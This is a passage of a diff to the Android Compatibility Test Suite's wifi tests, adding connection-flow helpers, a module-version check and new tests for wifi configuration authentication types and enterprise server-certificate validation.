+            @NonNull ScheduledExecutorService executorService,
+            @NonNull Set<Integer> restrictedNetworkCapabilities) throws Exception {
+        final UiAutomation uiAutomation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity(NETWORK_SETTINGS, CONNECTIVITY_INTERNAL);
+            return testConnectionFlowWithSuggestionInternal(
+                    network, suggestion, executorService, restrictedNetworkCapabilities, false);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Tests the entire connection success/failure flow using the provided suggestion.
+     *
+     * @param network saved network from the device to use for the connection.
+     * @param suggestion suggestion to use for the connection.
+     * @param executorService Excutor service to run scan periodically (to trigger connection).
+     * @param restrictedNetworkCapabilities Whether this connection should be restricted with
+     *                                    the provided capability.
+     * @param expectConnectionSuccess Whether to expect connection success or not.
+     *
+     * @return NetworkCallback used for the connection (can be used by client to release the
+     * connection.
+     */
+    private ConnectivityManager.NetworkCallback testConnectionFlowWithSuggestionInternal(
+            WifiConfiguration network, WifiNetworkSuggestion suggestion,
+            @NonNull ScheduledExecutorService executorService,
+            @NonNull Set<Integer> restrictedNetworkCapabilities,
+            boolean expectConnectionSuccess) throws Exception {
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        // File the network request & wait for the callback.
+        TestNetworkCallback testNetworkCallback = createTestNetworkCallback(countDownLatch);
+        try {
+            // File a request for restricted (oem paid) wifi network.
+            NetworkRequest.Builder nrBuilder = new NetworkRequest.Builder()
+                    .addTransportType(TRANSPORT_WIFI)
+                    .addCapability(NET_CAPABILITY_INTERNET);
+            if (restrictedNetworkCapabilities.isEmpty()) {
+                // If not a restricted connection, a network callback is sufficient.
+                mConnectivityManager.registerNetworkCallback(
+                        nrBuilder.build(), testNetworkCallback);
+            } else {
+                for (Integer restrictedNetworkCapability : restrictedNetworkCapabilities) {
+                    nrBuilder.addCapability(restrictedNetworkCapability);
+                }
+                mConnectivityManager.requestNetwork(nrBuilder.build(), testNetworkCallback);
+            }
+            // Add wifi network suggestion.
+            assertThat(mWifiManager.addNetworkSuggestions(Arrays.asList(suggestion)))
+                    .isEqualTo(WifiManager.STATUS_NETWORK_SUGGESTIONS_SUCCESS);
+            // Wait for the request to reach the wifi stack before kick-start periodic scans.
+            Thread.sleep(100);
+            // Step: Trigger scans periodically to trigger network selection quicker.
+            executorService.scheduleAtFixedRate(() -> {
+                if (!mWifiManager.startScan()) {
+                    Log.w(TAG, "Failed to trigger scan");
+                }
+            }, 0, DURATION_MILLIS, TimeUnit.MILLISECONDS);
+            if (expectConnectionSuccess) {
+                // now wait for connection to complete and wait for callback
+                assertThat(countDownLatch.await(
+                        DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+                assertThat(testNetworkCallback.onAvailableCalled).isTrue();
+                final WifiInfo wifiInfo = getWifiInfo(testNetworkCallback.networkCapabilities);
+                assertConnectionEquals(network, wifiInfo);
+                if (BuildCompat.isAtLeastS()) {
+                    // If STA concurrency for restricted connection is supported, this should not
+                    // be the primary connection.
+                    if (!restrictedNetworkCapabilities.isEmpty()
+                            && mWifiManager.isStaConcurrencyForRestrictedConnectionsSupported()) {
+                        assertThat(wifiInfo.isPrimary()).isFalse();
+                    } else {
+                        assertThat(wifiInfo.isPrimary()).isTrue();
+                    }
+                }
+            } else {
+                // now wait for connection to timeout.
+                assertThat(countDownLatch.await(
+                        DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)).isFalse();
+            }
+        } catch (Throwable e /* catch assertions & exceptions */) {
+            try {
+                mConnectivityManager.unregisterNetworkCallback(testNetworkCallback);
+            } catch (IllegalArgumentException ie) { }
+            throw e;
+        } finally {
+            executorService.shutdown();
+        }
+        return testNetworkCallback;
+    }
+
+    private static class TestNetworkRequestMatchCallback implements
+            WifiManager.NetworkRequestMatchCallback {
+        private final Object mLock;
+
+        public boolean onRegistrationCalled = false;
+        public boolean onAbortCalled = false;
+        public boolean onMatchCalled = false;
+        public boolean onConnectSuccessCalled = false;
+        public boolean onConnectFailureCalled = false;
+        public WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback = null;
+        public List<ScanResult> matchedScanResults = null;
+
+        TestNetworkRequestMatchCallback(Object lock) {
+            mLock = lock;
+        }
+
+        @Override
+        public void onUserSelectionCallbackRegistration(
+                WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback) {
+            synchronized (mLock) {
+                onRegistrationCalled = true;
+                this.userSelectionCallback = userSelectionCallback;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onAbort() {
+            synchronized (mLock) {
+                onAbortCalled = true;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onMatch(List<ScanResult> scanResults) {
+            synchronized (mLock) {
+                // This can be invoked multiple times. So, ignore after the first one to avoid
+                // disturbing the rest of the test sequence.
+                if (onMatchCalled) return;
+                onMatchCalled = true;
+                matchedScanResults = scanResults;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onUserSelectionConnectSuccess(WifiConfiguration config) {
+            synchronized (mLock) {
+                onConnectSuccessCalled = true;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onUserSelectionConnectFailure(WifiConfiguration config) {
+            synchronized (mLock) {
+                onConnectFailureCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    private void handleUiInteractions(WifiConfiguration network, boolean shouldUserReject) {
+        // can't use CountDownLatch since there are many callbacks expected and CountDownLatch
+        // cannot be reset.
+        // TODO(b/177591382): Use ArrayBlockingQueue/LinkedBlockingQueue
+        Object uiLock = new Object();
+        TestNetworkRequestMatchCallback networkRequestMatchCallback =
+                new TestNetworkRequestMatchCallback(uiLock);
+        try {
+            // 1. Wait for registration callback.
+            synchronized (uiLock) {
+                try {
+                    mWifiManager.registerNetworkRequestMatchCallback(
+                            Executors.newSingleThreadExecutor(), networkRequestMatchCallback);
+                    uiLock.wait(DURATION_UI_INTERACTION_MILLIS);
+                } catch (InterruptedException e) {
+                }
+            }
+            assertThat(networkRequestMatchCallback.onRegistrationCalled).isTrue();
+            assertThat(networkRequestMatchCallback.userSelectionCallback).isNotNull();
+
+            // 2. Wait for matching scan results
+            synchronized (uiLock) {
+                try {
+                    uiLock.wait(DURATION_UI_INTERACTION_MILLIS);
+                } catch (InterruptedException e) {
+                }
+            }
+            assertThat(networkRequestMatchCallback.onMatchCalled).isTrue();
+            assertThat(networkRequestMatchCallback.matchedScanResults).isNotNull();
+            assertThat(networkRequestMatchCallback.matchedScanResults.size()).isAtLeast(1);
+
+            // 3. Trigger connection to one of the matched networks or reject the request.
+            if (shouldUserReject) {
+                networkRequestMatchCallback.userSelectionCallback.reject();
+            } else {
+                networkRequestMatchCallback.userSelectionCallback.select(network);
+            }
+
+            // 4. Wait for connection success or abort.
+            synchronized (uiLock) {
+                try {
+                    uiLock.wait(DURATION_UI_INTERACTION_MILLIS);
+                } catch (InterruptedException e) {
+                }
+            }
+            if (shouldUserReject) {
+                assertThat(networkRequestMatchCallback.onAbortCalled).isTrue();
+            } else {
+                assertThat(networkRequestMatchCallback.onConnectSuccessCalled).isTrue();
+            }
+        } finally {
+            mWifiManager.unregisterNetworkRequestMatchCallback(networkRequestMatchCallback);
+        }
+    }
+
+    /**
+     * Tests the entire connection flow using the provided specifier,
+     *
+     * Note: The caller needs to invoke this after acquiring shell identity.
+     *
+     * @param specifier Specifier to use for network request.
+     * @param shouldUserReject Whether to simulate user rejection or not.
+     *
+     * @return NetworkCallback used for the connection (can be used by client to release the
+     * connection.
+     */
+    public ConnectivityManager.NetworkCallback testConnectionFlowWithSpecifierWithShellIdentity(
+            WifiConfiguration network, WifiNetworkSpecifier specifier, boolean shouldUserReject)
+            throws Exception {
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        // File the network request & wait for the callback.
+        TestNetworkCallback testNetworkCallback = createTestNetworkCallback(countDownLatch);
+
+        // Fork a thread to handle the UI interactions.
+        Thread uiThread = new Thread(() -> {
+            try {
+                handleUiInteractions(network, shouldUserReject);
+            } catch (Throwable e /* catch assertions & exceptions */) {
+                try {
+                    mConnectivityManager.unregisterNetworkCallback(testNetworkCallback);
+                } catch (IllegalArgumentException ie) { }
+                throw e;
+            }
+        });
+
+        try {
+            // File a request for wifi network.
+            mConnectivityManager.requestNetwork(
+                    new NetworkRequest.Builder()
+                            .addTransportType(NetworkCapabilities.TRANSPORT_WIFI)
+                            .removeCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+                            .setNetworkSpecifier(specifier)
+                            .build(),
+                    testNetworkCallback);
+            // Wait for the request to reach the wifi stack before kick-starting the UI
+            // interactions.
+            Thread.sleep(1_000);
+            // Start the UI interactions.
+            uiThread.run();
+            // now wait for callback
+            assertThat(countDownLatch.await(
+                    DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+            if (shouldUserReject) {
+                assertThat(testNetworkCallback.onUnavailableCalled).isTrue();
+            } else {
+                assertThat(testNetworkCallback.onAvailableCalled).isTrue();
+                final WifiInfo wifiInfo = getWifiInfo(testNetworkCallback.networkCapabilities);
+                assertConnectionEquals(network, wifiInfo);
+                if (BuildCompat.isAtLeastS()) {
+                    // If STA concurrency for local only connection is supported, this should not
+                    // be the primary connection.
+                    if (mWifiManager.isStaConcurrencyForLocalOnlyConnectionsSupported()) {
+                        assertThat(wifiInfo.isPrimary()).isFalse();
+                    } else {
+                        assertThat(wifiInfo.isPrimary()).isTrue();
+                    }
+                }
+            }
+        } catch (Throwable e /* catch assertions & exceptions */) {
+            try {
+                mConnectivityManager.unregisterNetworkCallback(testNetworkCallback);
+            } catch (IllegalArgumentException ie) { }
+            throw e;
+        }
+        try {
+            // Ensure that the UI interaction thread has completed.
+            uiThread.join(DURATION_UI_INTERACTION_MILLIS);
+        } catch (InterruptedException e) {
+            try {
+                mConnectivityManager.unregisterNetworkCallback(testNetworkCallback);
+            } catch (IllegalArgumentException ie) { }
+            fail("UI interaction interrupted");
+        }
+        return testNetworkCallback;
+    }
+
+    /**
+     * Tests the entire connection flow using the provided specifier.
+     *
+     * Note: The helper method drops the shell identity, so don't use this if the caller already
+     * adopted shell identity.
+     *
+     * @param specifier Specifier to use for network request.
+     * @param shouldUserReject Whether to simulate user rejection or not.
+     *
+     * @return NetworkCallback used for the connection (can be used by client to release the
+     * connection.
+     */
+    public ConnectivityManager.NetworkCallback testConnectionFlowWithSpecifier(
+            WifiConfiguration network, WifiNetworkSpecifier specifier, boolean shouldUserReject)
+            throws Exception {
+        final UiAutomation uiAutomation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity(NETWORK_SETTINGS);
+            return testConnectionFlowWithSpecifierWithShellIdentity(
+                    network, specifier, shouldUserReject);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Returns the number of wifi connections visible at the networking layer.
+     */
+    public long getNumWifiConnections() {
+        Network[] networks = mConnectivityManager.getAllNetworks();
+        return Arrays.stream(networks)
+                .filter(n ->
+                        mConnectivityManager.getNetworkCapabilities(n).hasTransport(TRANSPORT_WIFI))
+                .count();
+    }
+
+    /**
+     * Registers a network callback for internet connectivity via wifi and asserts that a network
+     * is available within {@link #DURATION_NETWORK_CONNECTION_MILLIS}.
+     *
+     * @throws Exception
+     */
+    public void assertWifiInternetConnectionAvailable() throws Exception {
+        CountDownLatch countDownLatchNr = new CountDownLatch(1);
+        TestNetworkCallback testNetworkCallback = createTestNetworkCallback(countDownLatchNr);
+        try {
+            // File a callback for wifi network.
+            mConnectivityManager.registerNetworkCallback(
+                    new NetworkRequest.Builder()
+                            .addTransportType(NetworkCapabilities.TRANSPORT_WIFI)
+                            .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+                            // Needed to ensure that the restricted concurrent connection does not
+                            // match this request.
+                            .addUnwantedCapability(NET_CAPABILITY_OEM_PAID)
+                            .addUnwantedCapability(NET_CAPABILITY_OEM_PRIVATE)
+                            .build(),
+                    testNetworkCallback);
+            // Wait for connection to complete & ensure we are connected to some network capable
+            // of providing internet access.
+            assertThat(countDownLatchNr.await(
+                    DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+            assertThat(testNetworkCallback.onAvailableCalled).isTrue();
+        } finally {
+            mConnectivityManager.unregisterNetworkCallback(testNetworkCallback);
+        }
+    }
+
+}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/VirtualDeviceNotSupported.java b/tests/tests/wifi/src/android/net/wifi/cts/VirtualDeviceNotSupported.java
new file mode 100644
index 0000000..6c23f38f
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/cts/VirtualDeviceNotSupported.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/** Annotation for tests that don't pass on virtual devices (i.e. in presubmit). */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ElementType.METHOD, ElementType.TYPE})
+public @interface VirtualDeviceNotSupported {}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
index ae2ad6f..72a9706 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
@@ -41,6 +41,7 @@
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 
+import androidx.core.os.BuildCompat;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -50,7 +51,6 @@
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.ThrowingRunnable;
 
-
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -254,6 +254,11 @@
         try {
             uiAutomation.adoptShellPermissionIdentity();
 
+
+            // get soft ap configuration and set it back to update configuration to user
+            // configuration.
+            mWifiManager.setSoftApConfiguration(mWifiManager.getSoftApConfiguration());
+
             // Retrieve original soft ap config.
             origSoftApConfig = mWifiManager.getSoftApConfiguration();
 
@@ -261,8 +266,13 @@
             byte[] backupData = mWifiManager.retrieveSoftApBackupData();
 
             // Modify softap config and set it.
+            String origSsid = origSoftApConfig.getSsid();
+            char lastOrigSsidChar = origSsid.charAt(origSsid.length() - 1);
+            String updatedSsid = new StringBuilder(origSsid.substring(0, origSsid.length() - 1))
+                    .append((lastOrigSsidChar == 'a' || lastOrigSsidChar == 'A') ? 'b' : 'a')
+                    .toString();
             SoftApConfiguration modSoftApConfig = new SoftApConfiguration.Builder(origSoftApConfig)
-                    .setSsid(origSoftApConfig.getSsid() + "b")
+                    .setSsid(updatedSsid)
                     .build();
             mWifiManager.setSoftApConfiguration(modSoftApConfig);
             // Ensure that it does not match the orig softap config.
@@ -299,8 +309,8 @@
         configuration.SSID = "\"TestSsid1\"";
         configuration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE);
         configuration.wepKeys = new String[4];
-        configuration.wepKeys[0] = "\"WepAscii1\"";
-        configuration.wepKeys[1] = "\"WepAscii2\"";
+        configuration.wepKeys[0] = "\"WepAscii12345\"";
+        configuration.wepKeys[1] = "\"WepAs\"";
         configuration.wepKeys[2] = "45342312ab";
         configuration.wepKeys[3] = "45342312ab45342312ab34ac12";
         configuration.wepTxKeyIndex = 1;
@@ -426,6 +436,13 @@
                 .that(actual.getIpConfiguration()).isEqualTo(expected.getIpConfiguration());
         assertWithMessage("Network: " + actual.toString())
                 .that(actual.meteredOverride).isEqualTo(expected.meteredOverride);
+        if (BuildCompat.isAtLeastS()) {
+            assertWithMessage("Network: " + actual.toString())
+                    .that(actual.getProfileKey()).isEqualTo(expected.getProfileKey());
+        } else {
+            assertWithMessage("Network: " + actual.toString())
+                    .that(actual.getKey()).isEqualTo(expected.getKey());
+        }
     }
 
     private void testRestoreFromBackupData(
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiBuildCompat.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiBuildCompat.java
new file mode 100644
index 0000000..0730e37
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiBuildCompat.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts;
+
+import android.annotation.NonNull;
+import android.content.Context;
+import android.content.pm.ModuleInfo;
+import android.content.pm.PackageManager;
+
+import androidx.core.os.BuildCompat;
+
+/**
+ * Wrapper class for checking the wifi module version.
+ *
+ * Wifi CTS tests for a dessert release can be run on older dessert releases as a part of MTS.
+ * Since wifi module is optional, not all older dessert release will contain the wifi module from
+ * the provided dessert release (which means we cannot use new wifi API's on those devices).
+ *
+ * <p>
+ * This utility tries to help solve that problem by trying to check if the device is running at
+ * least
+ * <li> The provided dessert release using {@link BuildCompat}, OR</li>
+ * <li> The wifi module from the provided dessert release on an older dessert release device</li>
+ *
+ * In either case above, we can somewhat safely assume that the wifi API's from the provided dessert
+ * release are present and behave the way we expect to.
+ * </p>
+ *
+ * Note: This does not check for granular wifi module version codes, only that it is some version
+ * of the module from the provided dessert release.
+ */
+public class WifiBuildCompat {
+    private static final String WIFI_APEX_NAME = "com.android.wifi";
+
+    private static final long WIFI_APEX_BASE_VERSION_CODE_FOR_S = 310000000;
+
+    private static long getWifiApexVersionCode(@NonNull Context ctx) {
+        PackageManager packageManager = ctx.getPackageManager();
+        long wifiStackVersion = 0;
+        try {
+            ModuleInfo wifiModule = packageManager.getModuleInfo(
+                    WIFI_APEX_NAME, PackageManager.MODULE_APEX_NAME);
+            String wifiPackageName = wifiModule.getPackageName();
+            if (wifiPackageName != null) {
+                wifiStackVersion = packageManager.getPackageInfo(
+                        wifiPackageName, PackageManager.MATCH_APEX).getLongVersionCode();
+            }
+        } catch (PackageManager.NameNotFoundException e) {
+        }
+        return wifiStackVersion;
+    }
+
+    private WifiBuildCompat() { }
+
+    public static boolean isPlatformOrWifiModuleAtLeastS(@NonNull Context ctx) {
+        return BuildCompat.isAtLeastS()
+                || getWifiApexVersionCode(ctx) >= WIFI_APEX_BASE_VERSION_CODE_FOR_S;
+    }
+}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiConfigurationTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiConfigurationTest.java
index 554e1ce..e3ce6d8 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiConfigurationTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiConfigurationTest.java
@@ -16,13 +16,25 @@
 
 package android.net.wifi.cts;
 
-import java.util.List;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_EAP;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_EAP_SUITE_B;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE_192_BIT;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_OPEN;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_OWE;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_PSK;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_SAE;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_WAPI_CERT;
+import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_WAPI_PSK;
 
 import android.content.Context;
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiManager;
 import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
+
+import androidx.test.filters.SdkSuppress;
+
+import java.util.List;
 
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiConfigurationTest extends WifiJUnit3TestBase {
@@ -48,4 +60,91 @@
             }
         }
     }
+
+    // TODO(b/167575586): Wait for S SDK finalization to change minSdkVersion to
+    // Build.VERSION_CODES.S
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testGetAuthType() throws Exception {
+        WifiConfiguration configuration = new WifiConfiguration();
+
+        configuration.setSecurityParams(SECURITY_TYPE_PSK);
+        assertEquals(WifiConfiguration.KeyMgmt.WPA_PSK, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_SAE);
+        assertEquals(WifiConfiguration.KeyMgmt.SAE, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_WAPI_PSK);
+        assertEquals(WifiConfiguration.KeyMgmt.WAPI_PSK, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_OPEN);
+        assertEquals(WifiConfiguration.KeyMgmt.NONE, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_OWE);
+        assertEquals(WifiConfiguration.KeyMgmt.OWE, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_EAP);
+        assertEquals(WifiConfiguration.KeyMgmt.WPA_EAP, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_EAP_WPA3_ENTERPRISE);
+        assertEquals(WifiConfiguration.KeyMgmt.WPA_EAP, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_EAP_SUITE_B);
+        assertEquals(WifiConfiguration.KeyMgmt.SUITE_B_192, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_EAP_WPA3_ENTERPRISE_192_BIT);
+        assertEquals(WifiConfiguration.KeyMgmt.SUITE_B_192, configuration.getAuthType());
+
+        configuration.setSecurityParams(SECURITY_TYPE_WAPI_CERT);
+        assertEquals(WifiConfiguration.KeyMgmt.WAPI_CERT, configuration.getAuthType());
+    }
+
+    // TODO(b/167575586): Wait for S SDK finalization to change minSdkVersion to
+    // Build.VERSION_CODES.S
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testGetAuthTypeFailurePsk8021X() throws Exception {
+        WifiConfiguration configuration = new WifiConfiguration();
+
+        configuration.setSecurityParams(SECURITY_TYPE_PSK);
+        configuration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.IEEE8021X);
+        try {
+            configuration.getAuthType();
+            fail("Expected IllegalStateException exception");
+        } catch(IllegalStateException e) {
+            // empty
+        }
+    }
+
+    // TODO(b/167575586): Wait for S SDK finalization to change minSdkVersion to
+    // Build.VERSION_CODES.S
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testGetAuthTypeFailure8021xEapSae() throws Exception {
+        WifiConfiguration configuration = new WifiConfiguration();
+
+        configuration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.IEEE8021X);
+        configuration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.WPA_EAP);
+        configuration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.SAE);
+        try {
+            configuration.getAuthType();
+            fail("Expected IllegalStateException exception");
+        } catch(IllegalStateException e) {
+            // empty
+        }
+    }
+
+    // TODO(b/167575586): Wait for S SDK finalization to change minSdkVersion to
+    // Build.VERSION_CODES.S
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testSetGetDeletionPriority() throws Exception {
+        WifiConfiguration configuration = new WifiConfiguration();
+
+        assertEquals(0, configuration.getDeletionPriority());
+        try {
+            configuration.setDeletionPriority(-1);
+            fail("Expected IllegalArgumentException exception");
+        } catch(IllegalArgumentException e) {
+            // empty
+        }
+        configuration.setDeletionPriority(1);
+        assertEquals(1, configuration.getDeletionPriority());
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
index c70830f..ec7f740 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
@@ -23,7 +23,8 @@
 import android.net.wifi.WifiEnterpriseConfig.Eap;
 import android.net.wifi.WifiEnterpriseConfig.Phase2;
 import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
+
+import androidx.test.filters.SdkSuppress;
 
 import java.io.ByteArrayInputStream;
 import java.security.KeyFactory;
@@ -48,6 +49,7 @@
     private static final String CA_PATH = "capath";
     private static final String CLIENT_CERTIFICATE_ALIAS = "clientcertificatealias";
     private static final String WAPI_CERT_SUITE = "wapicertsuite";
+    private static final String TEST_DECORATED_IDENTITY_PREFIX = "androidwifi.dev!";
 
     /*
      * The keys and certificates below are generated with:
@@ -822,6 +824,23 @@
         assertThat(config.getClientCertificateAlias()).isEqualTo(CLIENT_CERTIFICATE_ALIAS);
     }
 
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testGetSetClientKeyPairAlias() {
+        if (!hasWifi()) {
+            return;
+        }
+        WifiEnterpriseConfig config = new WifiEnterpriseConfig();
+
+        config.setClientKeyPairAlias("");
+        assertThat(config.getClientKeyPairAlias()).isEmpty();
+
+        config.setClientKeyPairAlias(CLIENT_CERTIFICATE_ALIAS);
+        assertThat(config.getClientKeyPairAlias()).isEqualTo(CLIENT_CERTIFICATE_ALIAS);
+    }
+
     public void testGetSetOcsp() {
         if (!hasWifi()) {
             return;
@@ -896,4 +915,119 @@
         assertThat(copy.getPassword()).isEqualTo(PASSWORD);
         assertThat(copy.getRealm()).isEqualTo(REALM);
     }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testIsEnterpriseConfigServerCertNotEnabled() {
+        if (!hasWifi()) {
+            return;
+        }
+        WifiEnterpriseConfig baseConfig = new WifiEnterpriseConfig();
+        baseConfig.setEapMethod(Eap.PEAP);
+        baseConfig.setPhase2Method(Phase2.MSCHAPV2);
+        assertTrue(baseConfig.isEapMethodServerCertUsed());
+        assertFalse(baseConfig.isServerCertValidationEnabled());
+
+        WifiEnterpriseConfig noMatchConfig = new WifiEnterpriseConfig(baseConfig);
+        noMatchConfig.setCaCertificate(FakeKeys.CA_CERT0);
+        // Missing match disables validation.
+        assertTrue(baseConfig.isEapMethodServerCertUsed());
+        assertFalse(baseConfig.isServerCertValidationEnabled());
+
+        WifiEnterpriseConfig noCaConfig = new WifiEnterpriseConfig(baseConfig);
+        noCaConfig.setDomainSuffixMatch(DOM_SUBJECT_MATCH);
+        // Missing CA certificate disables validation.
+        assertTrue(baseConfig.isEapMethodServerCertUsed());
+        assertFalse(baseConfig.isServerCertValidationEnabled());
+
+        WifiEnterpriseConfig noValidationConfig = new WifiEnterpriseConfig();
+        noValidationConfig.setEapMethod(Eap.AKA);
+        assertFalse(noValidationConfig.isEapMethodServerCertUsed());
+    }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testIsEnterpriseConfigServerCertEnabledWithPeap() {
+        if (!hasWifi()) {
+            return;
+        }
+        testIsEnterpriseConfigServerCertEnabled(Eap.PEAP);
+    }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testIsEnterpriseConfigServerCertEnabledWithTls() {
+        if (!hasWifi()) {
+            return;
+        }
+        testIsEnterpriseConfigServerCertEnabled(Eap.TLS);
+    }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testIsEnterpriseConfigServerCertEnabledWithTTLS() {
+        if (!hasWifi()) {
+            return;
+        }
+        testIsEnterpriseConfigServerCertEnabled(Eap.TTLS);
+    }
+
+    private void testIsEnterpriseConfigServerCertEnabled(int eapMethod) {
+        WifiEnterpriseConfig configWithCertAndDomainSuffixMatch = createEnterpriseConfig(eapMethod,
+                Phase2.NONE, FakeKeys.CA_CERT0, null, DOM_SUBJECT_MATCH, null);
+        assertTrue(configWithCertAndDomainSuffixMatch.isEapMethodServerCertUsed());
+        assertTrue(configWithCertAndDomainSuffixMatch.isServerCertValidationEnabled());
+
+        WifiEnterpriseConfig configWithCertAndAltSubjectMatch = createEnterpriseConfig(eapMethod,
+                Phase2.NONE, FakeKeys.CA_CERT0, null, null, ALT_SUBJECT_MATCH);
+        assertTrue(configWithCertAndAltSubjectMatch.isEapMethodServerCertUsed());
